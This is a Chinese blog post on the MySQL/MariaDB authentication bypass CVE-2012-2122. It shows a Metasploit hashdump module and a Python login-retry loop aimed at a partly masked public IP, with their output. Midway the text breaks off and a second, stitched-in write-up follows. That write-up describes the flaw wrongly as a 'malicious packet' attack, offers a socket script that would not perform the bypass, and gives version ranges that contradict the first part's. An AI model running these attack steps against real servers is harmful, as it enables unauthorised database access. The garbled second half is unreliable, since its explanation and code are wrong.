Mysql身份认证漏洞 CVE-2012-2122

本文详细介绍了MySQL身份认证漏洞CVE-2012-2122,该漏洞允许攻击者通过不断尝试登录,绕过安全限制。所有版本低于5.1.61、5.2.11、5.3.5、5.5.22的MySQL和MariaDB都受影响。漏洞危害包括无需正确密码即可登录数据库。已提供修复补丁和验证方法。

Mysql身份认证漏洞 CVE-2012-2122

一、漏洞介绍

MariaDB和MySQL在用户验证的处理上存在漏洞。攻击者可利用该漏洞绕过某些安全限制,也可能导致攻击者无需知道正确口令就能登录到MySQL服务器。
当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。 也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。

受影响的产品:

All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are vulnerable.
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

二、漏洞危害

攻击者只要知道用户名,不断尝试就能够直接登入SQL数据库。

三、漏洞验证

使用MSF验证:

root@kali:~# msfconsole 
msf5 > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf5 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > set RHOSTS 119.23.***.***
msf5 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > run

在这里插入图片描述

使用python脚本验证:

root@kali:~# cat mysql_poc.py 
#!/usr/bin/python
import subprocess

while 1:
	subprocess.Popen("mysql -h 119.23.***.*** -P 3306 -u root --password=blah", shell=True).wait()
root@kali:~# python mysql_poc.py 
ERROR 1045 (28000): Access denied for user 'root'@'113.87.***.***' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'113.87.***.***' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'113.87.***.***' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'113.87.***.***' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'113.87.***.***' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'113.87.***.***' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'113.87.***.***' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'113.87.***.***' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'113.87.***.***' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'113.87.***.***' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'113.87.***.***' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'113.87.***.***' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'113.87.***.***' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'113.87.***.***' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'113.87.***.***' (using password: YES)
ERROR 1045 (28000): Access denied 
### CVE-2012-2122 漏洞原理及影响 #### 漏洞背景 CVE-2012-2122 是一个存在于 MySQL 和 MariaDB 中的身份认证绕过漏洞。该漏洞利用了 `memcmp` 函数在特定编译环境下的行为差异,使得攻击者可以通过构造恶意数据包绕过身份验证[^3]。 #### 漏洞原理 MySQL 的身份验证过程依赖于对客户端提供的散列值与服务器存储的散列值进行比较。此比较操作使用了 C 标准库中的 `memcmp` 函数。然而,在某些编译环境下,`memcmp` 函数的行为可能不符合预期。具体来说,当 MySQL 在编译时启用了 `-fno-builtin` 选项,并且使用的 glibc 是经过 SSE 优化后的版本时,`memcmp` 可能返回超出 `[127, -128]` 范围的结果。这种行为导致了 MySQL 在处理身份验证时未能正确判断两个字符串是否相等[^3]。 攻击者可以利用这一特性,通过发送特制的数据包使 `memcmp` 返回值为零,即使实际的散列值不匹配,也能成功绕过身份验证。例如,攻击者可以尝试连接到目标 MySQL 数据库,并不断重试直到成功登录[^3]。 #### 影响范围 受影响的 MySQL 版本包括: - MySQL 5.1.62 及更早版本 - MySQL 5.5.23 及更早版本 - MySQL 5.6.6 及更早版本 受影响的 MariaDB 版本包括: - MariaDB 5.1.62 及更早版本 - MariaDB 5.2.12 及更早版本 - MariaDB 5.3.6 及更早版本 - MariaDB 5.5.23 及更早版本 #### 修复建议 为了防止 CVE-2012-2122 漏洞被利用,建议采取以下措施: 1. 升级到不受影响的 MySQL 或 MariaDB 版本,例如 MySQL 5.1.63、5.5.24、5.6.6 或更高版本,以及 MariaDB 5.1.62、5.2.12、5.3.6、5.5.23 或更高版本。 2. 如果无法立即升级,可以在防火墙上关闭 MySQL 端口以减少暴露风险[^3]。 #### 漏洞复现 在实验环境中复现 CVE-2012-2122 漏洞,可以使用以下步骤(仅限于授权测试环境): 1. 启动包含漏洞MySQL 环境,例如通过 Docker 使用 `vulhub/mysql/CVE-2012-2122` 镜像[^1]。 ```bash cd master/mysql/CVE-2012-2122 docker-compose up -d ``` 2. 使用工具或脚本尝试连接到目标 MySQL 实例并绕过身份验证。 以下是 Python 脚本示例,用于模拟 CVE-2012-2122 攻击: ```python import socket target = "192.168.100.40" port = 3306 # 构造恶意数据包 packet = b"\x0a" + b"A" * 255 + b"\x00" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target, port)) sock.recv(1024) # 接收初始握手包 sock.send(packet) # 发送恶意数据包 response = sock.recv(1024) # 接收响应 if b"\x00" in response: print("身份验证绕过成功!") else: print("身份验证绕过失败!") finally: sock.close() ``` #### 安全影响 CVE-2012-2122 漏洞允许攻击者无需知道合法密码即可访问数据库系统,从而获取敏感数据或执行恶意操作。这可能导致数据泄露、篡改或其他严重后果。 ---
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值